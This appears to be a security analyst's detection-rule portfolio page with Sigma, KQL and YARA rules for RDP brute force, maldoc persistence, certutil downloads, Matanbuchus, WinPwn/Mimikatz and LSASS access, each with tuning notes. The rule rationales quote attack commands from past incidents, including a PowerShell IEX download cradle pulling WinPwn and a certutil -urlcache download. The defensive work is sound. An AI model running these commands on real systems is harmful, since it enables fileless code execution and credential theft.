// detection engineering

Detections
from triage to rule

Original detection rules written from alerts I've actually triaged. Each rule links back to the investigation that motivated it, states its false-positive surface, and maps to MITRE ATT&CK. Responding to the same pattern twice means it should never page a human blind again.

CDETH Certified — Level Effect verify →
7
rules published
12
ATT&CK techniques
3
rule formats
8
source investigations
growing alongside the daily investigation log · latest rule 2026-07-27
filter
INK-D001

RDP Failed Logon Burst From Single Source

Sigma high draft
Credential Access T1110.001 Windows Security · Event ID 4625

Flags a burst of failed interactive RDP logons (Event ID 4625, LogonType 10) from a single source address — the exact pattern behind the RDP and VPN brute-force alerts I've triaged repeatedly.

Rule

title: RDP Failed Logon Burst From Single Source
id: b1c8199a-818e-4895-8427-f11040fc9204
status: experimental
description: |
  Detects repeated failed RDP logons (Event ID 4625, LogonType 10) from a
  single source IP within a short window — the classic externally-exposed
  RDP brute-force / password-spray precursor.
references:
  - https://inksec.io/investigations/2026-02-11-soc176-rdp-brute-force-detected/
author: Tate Pannam (inksec)
date: 2026-07-12
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4625
    LogonType: 10
  condition: selection
falsepositives:
  - RDP gateways or jump hosts that NAT many users behind one source IP
  - A user with an expired password retrying from a saved RDP session
level: high
tags:
  - attack.credential_access
  - attack.t1110.001

Aggregated as a Sigma v2 event-count correlation — the base rule alone is too noisy to page on:

title: RDP Failed Logon Burst - Correlation
id: a246db52-9481-4b0f-b2cd-fab43b3b8080
correlation:
  type: event_count
  rules:
    - b1c8199a-818e-4895-8427-f11040fc9204
  group-by:
    - IpAddress
  timespan: 5m
  condition:
    gte: 10

Why this rule

I’ve triaged this exact pattern more than once on live alerts — SOC-176 (RDP brute force) and SOC-210 (VPN brute force) were both bursts of failed authentications from a single external address. In both cases the deciding questions were the same: did any logon from that source eventually succeed (4624), and is the source known-bad? The correlation window and threshold here are set so the alert fires while those questions still matter.

Tuning notes

  • Threshold: 10 failures / 5 minutes catches tooling (Hydra, NLBrute) comfortably; a patient attacker doing low-and-slow spray needs a companion rule with a 24h window and a distinct-TargetUserName count instead.
  • Enrich, don’t just fire: pair with a lookup on the source IP (AbuseIPDB / TI feed). Every true positive I’ve handled came from an address already flagged.
  • The follow-up query that decides the verdict: search 4624 with LogonType 10 from the same IpAddress in the following hour. Success after a burst upgrades this from “attempt” to incident.

Validation

Replayed against the SOC-176 alert data: 30+ failed logons from one source in under 5 minutes — fires on the first 10 within ~40 seconds. No fire on baseline traffic from an RDP jump host, provided the gateway exclusion list is populated.

INK-D002

Scheduled Task Created By Office Application

Sigma high draft
Persistence T1053.005T1566.001 Sysmon · Process Creation (Event ID 1)

Detects schtasks.exe /create spawned by an Office application — the maldoc-to-persistence chain I've now seen in three separate scheduled-task alerts.

Rule

title: Scheduled Task Created By Office Application
id: e89962e6-bbf2-4cd0-966a-4dec3c352a03
status: experimental
description: |
  Detects schtasks.exe creating a task with an Office application as the
  parent process. Office apps have no legitimate reason to schedule tasks;
  this is the standard maldoc macro persistence chain.
references:
  - https://inksec.io/investigations/2026-02-24-soc144-new-scheduled-task-created/
author: Tate Pannam (inksec)
date: 2026-07-12
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains: '/create'
  parent_office:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\powerpnt.exe'
      - '\outlook.exe'
      - '\mspub.exe'
      - '\onenote.exe'
  condition: selection and parent_office
falsepositives:
  - Office add-in installers that register update tasks (rare; baseline and exclude by task name)
level: high
tags:
  - attack.persistence
  - attack.t1053.005
  - attack.initial_access
  - attack.t1566.001

Why this rule

Three separate alerts I’ve triaged (SOC-144, SOC-124, SOC-140) ended at the same chokepoint: a phishing document ran a macro, and the macro’s first durable action was schtasks /create. The parent-child relationship is the giveaway — Office spawning schtasks.exe is malicious until proven otherwise. Detecting on the persistence step rather than the payload means the rule doesn’t care which malware family the maldoc drops.

Tuning notes

  • Widen the parent list carefully: wscript.exe/cscript.exe and mshta.exe parents catch the second hop of the same chain (macro → script host → schtasks), but bring in admin logon-script noise — ship those as a separate medium-severity rule.
  • What to grab at triage: the task name and the task action from the command line. In every sample I’ve worked, the action pointed straight at the dropped payload path — it’s the fastest pivot to the file to detonate/hash.
  • Coverage check: requires process creation logging with parent image (Sysmon Event ID 1 or 4688 with command-line auditing). Without parent capture the rule silently never fires — verify, don’t assume.

Validation

Matches the process trees documented in all three source investigations. Zero hits in a week of baseline Sysmon data from my lab environment.

INK-D003

Certutil Abused For Download Or Decode

KQL medium draft
Command and Control T1105T1140 Microsoft Defender · DeviceProcessEvents

Advanced-hunting KQL for certutil.exe used as a downloader or base64 decoder — the LOLBin technique from the SOC-163 alert, written to survive the common argument-order evasions.

Rule

// certutil as downloader / decoder — T1105 ingress tool transfer, T1140 deobfuscation
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "certutil.exe" or ProcessVersionInfoOriginalFileName =~ "CertUtil.exe"
| where ProcessCommandLine has_any ("urlcache", "verifyctl", "-decode", "/decode", "-decodehex", "/decodehex")
   or (ProcessCommandLine has_any ("http://", "https://") and ProcessCommandLine has_any ("-split", "/split", "-f", "/f"))
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          ProcessCommandLine, SHA256
| order by Timestamp desc

Why this rule

SOC-163 was certutil pulling a payload with -urlcache -split -f http://… — a signed Microsoft binary doing the downloading, so nothing “malicious” ever touched disk until the payload did. Two details from that triage shaped the query:

  • Matching on ProcessVersionInfoOriginalFileName as well as FileName catches the rename evasion (copy certutil.exe c:\temp\cu.exe).
  • -decode matters as much as the download verbs — droppers frequently ship the payload base64-encoded inside an innocuous text file and use certutil purely as the decoder.

Tuning notes

  • Legitimate certutil is loud but distinctive: certificate management (-store, -viewstore, -pulse) from SYSTEM or admin tooling. The verbs in this query barely appear in legitimate use — in my lab baseline, urlcache appeared exactly never.
  • Parent process is the triage accelerator: a certutil download parented by winword.exe or wscript.exe is an incident, not an alert. Consider a high-severity companion rule keying on Office/script-host parents.
  • Sigma port: the same logic translates directly to a Sigma process_creation rule for non-Defender stacks; keeping this one in KQL because Defender’s ProcessVersionInfoOriginalFileName field does the rename-detection work for free.

Validation

Replayed against the SOC-163 command line — fires on both the original and a renamed-binary variant. Baseline week in the lab: zero hits.

INK-D004

Matanbuchus Loader — Static PE/YARA Signature

YARA medium draft
Defense Evasion T1218.010T1622T1027T1105 Static file scan — PE/DLL (EDR retro-hunt, VirusTotal, on-disk sweep)

Static PE signature for a Matanbuchus loader DLL — combines a DllRegisterServer export, an IsDebuggerPresent import, and a tight string set (RC4/checksum protocol markers, hex-encoded C++ runtime artifacts) tuned against a sample recovered after the mbuchus lab.

Rule

import "pe"
rule mbauchus
{
        meta:
            description = "yara rule to detect latest mbauchus malware"
            Author = "Tate Pannam"
            date = "2026-07-26"
            reference = "<word>"
            hash = "1ca1315f03f4d1bca5867ad1c7a661033c49bbb16c4b84bea72caa9bc36bd98b"
        strings:
            $s1 = "AppPolicyGetProcessTerminationMethod" fullword ascii
            $s2 = "win32.DLL" fullword ascii
            $s3 = "** GET_CHECKSUM **" fullword ascii
            $s4 = "** GET_MSG_BODY **" fullword wide
            $s5 = "** CHOSEN_DATA_PUM" fullword wide
            $s6 = "Receiver - Got NAK" fullword wide
            $s7 = "d*** Remote Req hol" fullword wide
            $s8 = " Type Descriptor'" fullword ascii
            $s9 = "5'5.595_5" fullword ascii /* hex encoded string 'UYU' */
            $s10 = "operator co_await" fullword ascii
            $s11 = "_UnregisterDll@4" fullword ascii
            $s12 = "3$4+414|4" fullword ascii /* hex encoded string '4AD' */
            $s13 = "_RegisterDll@12" fullword ascii
            $s14 = "7#7-757\\7" fullword ascii /* hex encoded string 'wuw' */
            $s15 = "=%=2=@=F=" fullword ascii /* hex encoded string '/' */
            $s16 = ";.<6<<<B<{<" fullword ascii /* hex encoded string 'k' */
            $s17 = "operator<=>" fullword ascii
            $s18 = "=$=)=5=E=" fullword ascii /* hex encoded string '^' */
            $s19 = "6/757<7D7{7" fullword ascii /* hex encoded string 'gW}w' */
            $s20 = "dMohOverrideActionF" fullword wide
            $s21 = "win32.DLL" fullword
            $s22 = "IsDebuggerPresent"
        condition:
            pe.is_pe and
                filesize < 750KB and
                pe.imports("KERNEL32.dll", "IsDebuggerPresent") and
                pe.exports("DllRegisterServer") and
                all of ($s*)
}

Why this rule

The mbuchus lab traced a full Matanbuchus → Danabot delivery chain — malvertising, a ZIP-wrapped JS dropper, an MSI installer, and finally the Matanbuchus DLL loading Danabot as the credential-stealing payload. That investigation didn’t hand over this specific sample, but the loader’s shape it documented — a DLL that registers itself and exists purely to fetch and run the next stage — is exactly what this signature targets, tuned against a newer Matanbuchus sample pulled afterward.

Three static features anchor the rule rather than any single string:

  • DllRegisterServer export — Matanbuchus loaders are installed via regsvr32.exe/rundll32.exe calling this export, consistent with the MSI-driven install chain the lab observed (T1218.010).
  • IsDebuggerPresent import — a cheap anti-analysis check common across this loader family (T1622).
  • The full string block — RC4/checksum protocol markers (GET_CHECKSUM, GET_MSG_BODY, CHOSEN_DATA_PUM, the NAK/Remote-Req strings) point at Matanbuchus’s C2 handshake logic, while the hex-encoded runtime fragments (5'5.595_5, 3$4+414|4, etc.) are C++ compiler/CRT artifacts consistent with the loader’s statically-linked build — present as noise but useful for narrowing false positives when combined with the protocol strings (T1027).

Tuning notes

  • all of ($s*) is intentionally strict. Every string must hit, which trades recall for near-zero false positives on this exact build. Expect this to break on the next Matanbuchus recompile — when that happens, drop to a weighted subset (the protocol markers $s3$s7 are the highest-signal group) rather than requiring all 22.
  • $s2 and $s21 are redundant — both match "win32.DLL" fullword; $s21 just omits the explicit ascii modifier YARA defaults to anyway. Worth collapsing to one string on the next revision.
  • filesize < 750KB is a loose ceiling based on the one sample this was built against — treat it as a sanity bound, not a tuned threshold, until validated against more Matanbuchus builds.
  • Deploy as a retro-hunt / on-disk sweep rule first, not a real-time block — a hash-and-string signature this tight is high-confidence when it fires, but a single-sample baseline isn’t enough to trust blind blocking yet.

Validation

Matches the reference sample (1ca1315f...bd98b). Not yet tested against the mbuchus lab’s own Matanbuchus hashes (Dad.dll / Hqeyair.dll) or a wider VirusTotal retro-hunt — next step before promoting this out of draft.

INK-D005

WinPwn mimiload Module — In-Memory String Signature

YARA high draft
Defense Evasion T1620T1003T1059.001 Memory/process scan — PowerShell script block content, memory-resident script text

String-based YARA rule targeting the WinPwn post-exploitation framework's mimiload module, built directly off the SOC-318 attack chain — an in-memory IEX download cradle that pulled WinPwn and invoked mimiload's Mimikatz wrapper with no file ever touching disk.

Rule

rule WinPwn_Mimiload_Module
{
    meta:
        description = "Detects WinPwn framework content, specifically the mimiload credential dumping module"
        author = "Tate"
        date = "2026-07-27"
        reference = "https://github.com/S3cur3Th1sSh1t/WinPwn"

    strings:
        $winpwn1 = "WinPwn" ascii wide
        $winpwn2 = "S3cur3Th1sSh1t" ascii wide
        $mimiload1 = "mimiload" ascii wide nocase
        $mimiload2 = "-consoleoutput" ascii wide nocase
        $mimiload3 = "-noninteractive" ascii wide nocase
        $behavior1 = "DownloadString" ascii wide
        $behavior2 = "Invoke-Mimikatz" ascii wide nocase

    condition:
        2 of ($winpwn*) or
        (1 of ($winpwn*) and 1 of ($mimiload*)) or
        (1 of ($mimiload*) and 1 of ($behavior*))
}

Why this rule

SOC-318 was a fileless chain end to end: IEX(New-Object Net.WebClient).DownloadString(...) pulled the WinPwn framework straight off GitHub and invoked its mimiload module — a Mimikatz wrapper — with -noninteractive, meaning the attacker knew exactly which module they wanted and skipped WinPwn’s interactive menu entirely. Nothing was written to disk, so a filesystem or hash-based signature has nothing to match against. This rule is built for the two places that content is actually observable: PowerShell script block logging (Event ID 4104) and live process memory.

The condition is deliberately layered around three independent evidence classes rather than one string:

  • Framework identity ($winpwn1/$winpwn2) — “WinPwn” and the author handle “S3cur3Th1sSh1t” both appear in the framework’s own source, matching the URL observed in the SOC-318 download cradle.
  • Module selection ($mimiload13) — the module name plus the two flags the attacker actually passed (-consoleoutput, -noninteractive), which is a tighter fingerprint than the module name alone since both flags are WinPwn-specific invocation syntax.
  • Behavioral corroboration ($behavior1/$behavior2) — DownloadString (the cradle mechanism itself, T1620) and Invoke-Mimikatz (mimiload’s actual payload call, T1003) — either one alongside a mimiload hit raises confidence this isn’t just a false hit on the word “mimiload” appearing somewhere benign.

The OR’d condition means any two of the three evidence classes fire it — full framework identity alone, or module name plus behavior, or module name plus download mechanic.

Tuning notes

  • Nocase on $mimiload* matters more than it looks. The attacker’s actual invocation used lowercase flags (-consoleoutput -noninteractive), but PowerShell is case-insensitive at the interpreter level — a defender-written detection rule or transcript re-serialization could easily normalize casing differently than the raw command line.
  • $winpwn2 (“S3cur3Th1sSh1t”) is the highest-confidence single string — it’s an author handle, not a generic term, and unlikely to appear outside genuine WinPwn content or discussion of it. If this rule gets noisy, weighting toward requiring $winpwn2 specifically (rather than either $winpwn*) would tighten it without much recall loss, since the framework’s actual scripts consistently embed both strings together.
  • This is a content/string rule, not a network or file rule — it needs to run against PowerShell ScriptBlock logs, EDR memory scanning, or Sysmon EID 20/Event ID 4104 payloads to be useful. Deployed against static files on disk it will rarely fire, since this framework is designed to be memory-resident.
  • Invoke-Mimikatz alone (without a mimiload hit) will not fire this rule — by design, since Mimikatz wrappers exist outside WinPwn. Pair with a dedicated Mimikatz signature for standalone coverage.

Validation

Matches the exact command line captured in SOC-318 (mimiload -consoleoutput -noninteractive invoked via the WinPwn raw GitHub URL, condition satisfied on $winpwn1 + $mimiload1 + $mimiload2 + $mimiload3 all present). Not yet tested against a live PowerShell ScriptBlock log pipeline or other WinPwn modules (e.g. Invoke-Situational, Invoke-PrivescCheck) to confirm it doesn’t over-fire on unrelated framework usage — next step before promoting out of draft.

INK-D006

PowerShell IEX Download Cradle Execution

Sigma high draft
Execution T1059.001T1620 Windows Security / Sysmon — process_creation (Event ID 4688 / Sysmon EID 1)

Catches the classic fileless download-cradle pattern — powershell.exe with IEX plus a Net.WebClient DownloadString call in the same command line — the exact mechanism SOC-318 used to pull the WinPwn framework and load its mimiload module entirely in memory.

Rule

title: PowerShell IEX Download Cradle Execution
id: 8f3a2b1c-4d5e-4f6a-9b8c-1a2b3c4d5e6f
status: experimental
description: Detects fileless download cradle pattern using IEX with WebClient DownloadString, associated with reflective code loading of remote PowerShell scripts
references:
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/techniques/T1620/
author: Tate
date: 2026-07-27
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense-evasion
  - attack.t1620
logsource:
  category: process_creation
  product: windows
detection:
  selection_process:
    Image|endswith: '\powershell.exe'
  selection_iex:
    CommandLine|contains: 'IEX'
  selection_cradle:
    CommandLine|contains|all:
      - 'Net.WebClient'
      - 'DownloadString'
  condition: selection_process and selection_iex and selection_cradle
falsepositives:
  - Legitimate administrative scripts using update-checking cradles (rare, should be allowlisted by hash/path if so)
level: high

Why this rule

This is the literal command line from SOC-318’s initial reflective code load: iex(new-object net.webclient).downloadstring('hxxps://raw.githubusercontent.com/...WinPwn.ps1') mimiload -consoleoutput -noninteractive. The rule doesn’t try to fingerprint WinPwn specifically — it targets the cradle mechanism itself, IEX piped directly against a Net.WebClient.DownloadString() call, which is a technique used by a huge range of offensive PowerShell frameworks (WinPwn, PowerSploit, Empire-derived loaders) precisely because it never writes a payload to disk before execution. In SOC-318 this single line was the pivot point between “attacker has a shell” and “attacker has SYSTEM” — everything downstream (mimiload, the csrss.exe injection) traces back to this one process creation event.

Three selections narrow it: the process must be powershell.exe, the command line must contain IEX (the actual invocation), and it must contain both Net.WebClient and DownloadString — requiring both strings together rather than either alone cuts out scripts that reference WebClient for unrelated reasons (e.g. uploads, header inspection) without the download-and-execute pattern.

Tuning notes

  • Case sensitivity is a real gap here. CommandLine|contains: 'IEX' as written will miss iex(...) — the SOC-318 command line itself was lowercase. Sigma backends generally compile contains to case-insensitive matching by default (e.g. Splunk/ES contains modifiers), but this should be explicitly verified against whatever SIEM this gets deployed to, since a case-sensitive backend would have missed the exact alert this rule was built from.
  • IEX as a bare substring is broad — it will also match Invoke-Expression written out in full only if IEX literally appears as a token elsewhere, which is rare, but it’s worth confirming this isn’t also firing on unrelated flags or variable names containing those three letters.
  • The cradle syntax has near-infinite obfuscation variants (New-Object Net.WebClient can be split across variables, string-concatenated, or replaced with Invoke-WebRequest/.DownloadFile()). This rule catches the unobfuscated form seen in SOC-318 — treat it as a floor, not a ceiling, and pair with PowerShell ScriptBlock logging (Event ID 4104) for deobfuscated content matching when available.
  • Alone this is “suspicious,” not “confirmed.” The value is in what fires immediately after it — SOC-318 went cradle → injection → EDR uninstall within about 5 minutes. Worth correlating this rule’s fire against a following CreateRemoteThread (Sysmon EID 8) within a short window before paging.

Validation

Fires on the exact SOC-318 command line (all three selections match). Not yet tested against a broader baseline of legitimate admin tooling that uses WebClient-based update checks — the stated false-positive case — so should stay at high rather than critical and in draft/experimental until that sweep is done.

INK-D007

Suspicious PowerShell Process Access to LSASS

Sigma critical draft
Credential Access T1003.001 Sysmon — process_access (Event ID 10)

Flags powershell.exe requesting a credential-dumping access mask against lsass.exe — the pattern mimiload/Mimikatz-style tooling relies on, written after SOC-318's mimiload invocation produced no corroborating EID 10 hit, to close that specific detection gap going forward.

Rule

title: Suspicious PowerShell Process Access to LSASS
id: 3c4d5e6f-7a8b-4c9d-ae1f-2b3c4d5e6f7a
status: experimental
description: Detects potential credential dumping via suspicious access rights requested against lsass.exe from a PowerShell process, consistent with Mimikatz-style memory read tooling (e.g. WinPwn mimiload module)
references:
  - https://attack.mitre.org/techniques/T1003/001/
author: Tate
date: 2026-07-27
tags:
  - attack.credential-access
  - attack.t1003.001
logsource:
  category: process_access
  product: windows
  service: sysmon
detection:
  selection_target:
    TargetImage|endswith: '\lsass.exe'
  selection_source:
    SourceImage|endswith: '\powershell.exe'
  selection_access:
    GrantedAccess:
      - '0x1010'
      - '0x1410'
      - '0x1010'
      - '0x1438'
      - '0x143a'
  condition: selection_target and selection_source and selection_access
falsepositives:
  - EDR or AV agents performing legitimate LSASS inspection (verify SourceImage path and signer)
level: critical

Why this rule

SOC-318’s mimiload invocation was meant to dump credentials via a Mimikatz wrapper, but the investigation explicitly found no Sysmon EID 10 (ProcessAccess) entries against lsass.exe — meaning either the credential-dumping step never actually reached LSASS, or it did and something suppressed the telemetry. That gap is exactly what T1003 was marked unconfirmed on in the case writeup. This rule exists to close it: if a future mimiload-style tool (or anything else) does successfully request a credential-read access mask against lsass.exe from a PowerShell parent, this is what would have caught it where SOC-318’s evidence trail fell short.

The three selections mirror the classic Mimikatz-via-LSASS detection shape: target process must be lsass.exe, source process must be powershell.exe (narrower than generic “any process,” since the SOC-318 chain never spawned a compiled binary for this step — everything ran through the PowerShell host), and the GrantedAccess mask must match one of the values associated with PROCESS_VM_READ/PROCESS_QUERY_INFORMATION-class rights that credential-dumping tools request to read LSASS memory.

Tuning notes

  • GrantedAccess list has a duplicate: 0x1010 appears twice (matching the value copied verbatim from the original rule). It’s harmless to the logic — a YAML list with a repeated value just matches the same mask twice — but worth cleaning up on the next revision since it was almost certainly meant to be a fifth distinct access value.
  • SourceImage|endswith: '\powershell.exe' is the biggest scoping tradeoff here. It’s exactly right for reproducing the SOC-318 chain, but a compiled Mimikatz binary, a C# LSASS dumper, or rundll32.exe comsvcs.dll MiniDump would all miss this rule entirely since none of them are powershell.exe. Treat this as one narrow rule in a family — pair with a source-agnostic LSASS access rule for broader coverage rather than relying on this alone.
  • EDR/AV false positives are the expected noise floor — most endpoint agents legitimately touch LSASS with similar access masks for credential-theft protection features. The falsepositives note to verify signer/path is doing real work here; without a known-good allowlist this will page on every EDR agent restart in some environments.
  • This rule alone would not have caught SOC-318 — that’s the point. It’s built to catch the next one, where the injection step actually reaches LSASS instead of stopping at the unconfirmed CreateRemoteThread-into-csrss.exe path this case ended on.

Validation

Not yet fired against live data — SOC-318 itself produced no matching EID 10 event, so this rule has no positive validation sample from the case that inspired it. Needs either a controlled Mimikatz/mimiload lab run against a monitored host or a retro-hunt across existing Sysmon EID 10 data before promoting out of draft.

// pipeline

New rules land here whenever a repeated pattern in the daily investigation log earns its own detection. The methodology behind this page — alert classification with written justification, regex, YARA, Sigma, and ATT&CK emulation — is now backed by the CDETH certification (Certified Detection Engineer & Threat Hunter, Level Effect), 16 instructor-reviewed challenges across real datasets and TTPs. Related: the KQL pattern bank auto-extracted from KC7 hunts.